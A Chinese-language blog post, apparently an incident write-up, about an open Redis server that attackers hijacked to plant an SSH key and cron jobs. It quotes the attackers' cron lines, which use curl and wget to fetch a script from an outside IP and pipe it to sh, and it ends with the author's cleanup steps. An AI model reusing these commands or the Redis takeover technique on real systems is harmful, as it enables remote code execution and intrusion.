记一次被人通过redis对服务器的攻击

1.在私服上登录redis,执行ping命令报出以下错误

[root@daVpMG221063 system]# redis-cli
127.0.0.1:6379> ping
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to 
persist on disk. Commands that may modify the data set are disabled. Please check Redis
 logs for details about the error.

意思是当前redis服务是以 RDB快照方式进行持久化,但是现在不能将数据持久化到硬盘,ping命令有可能修改数据(修改完数据后续将被持久化)因此这个命令不允许操作

2.通过日志查看错误详情

130960:M 24 Dec 09:24:56.087 * 1 changes in 900 seconds. Saving...
130960:M 24 Dec 09:24:56.087 * Background saving started by pid 117722
117722:C 24 Dec 09:24:56.092 # Failed opening the RDB file ntp (in server root dir /etc/cron.d)
 for saving: Permission denied
130960:M 24 Dec 09:24:56.188 # Background saving error

 意思是在900秒内发生一次修改,触发持久化,但是不能打开RDB文件 /etc/cron.d/ntp 因此发生保存错误

3.登录本地redis,查看相关属性

127.0.0.1:6379> config get dir
1) "dir"
2) "/etc/cron.d"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "ntp"

 发现属性被修改。

因为是用于测试的私服,所以redis配置相当不安全。防火墙开发了6379端口,redis的配置中bind注释掉、requirepass注释掉、protected-mode no,相当于这个redis服务向全网开发

4.赶紧查看redis服务归属人,果然是root。那当时自己启动redis服务时,应该是用在root用户下使用 redis-server方式启动(如果是用systemctl start redis方式启动,归属人应该是redis,原因看另一篇文章)

[root@daVpMG221063 system]# ps -ef|grep redis
root      11249 116981  0 14:13 pts/0    00:00:00 grep --color=auto redis
root     130960      1  0 Dec17 ?        00:09:37 redis-server *:6379

5.既然被人做了手脚那就赶紧看 /root/.ssh目录下的 authorized_keys文件,果然被人添了公钥

[root@daVpMG221063 .ssh]# cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtl7EKcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UM
BpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueE
wVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwq
gk1B6LKoLHXWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E
0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever

那这个公钥的主人就能随时不用密码使用root账号登录到我的服务器了

6.这个人既然想在 /etc/cron.d下添加ntp文件,必定是要在我的服务器上添加定时器,进入/var/spool/cron目录果然看到一堆乱七八糟的文件,看下其中一个文件的内容

*/2 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
*/4 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
*/5 * * * * wget -q -O- http://122.51.164.83:7770/ash.sh | sh
*/3 * * * * wget -q -O- http://122.51.164.83:7770/ash.sh | sh

 这是要定时去执行这个服务器上的脚本

7.现在要做的就是删除 authorized_keys文件里的内容,并且删除/etc/cron.d目录下的定时任务文件,然后为redis服务增加安全措施

删除authorized_keys文件内容时提示

-- INSERT -- W10: Warning: Changing a readonly file

查看文件属性,果然被设置过

[root@daVpMG221063 .ssh]# lsattr authorized_keys 
----i--------e-- authorized_keys

想要使用 chattr 命令修改属性,报错 commond not found,使用whereis命令查看,果然/usr/bin/目录下的chattr文件被删除了,只能卸载重装了

yum remove e2fsprogs
 yum install -y e2fsprogs
 chattr -i authorized_keys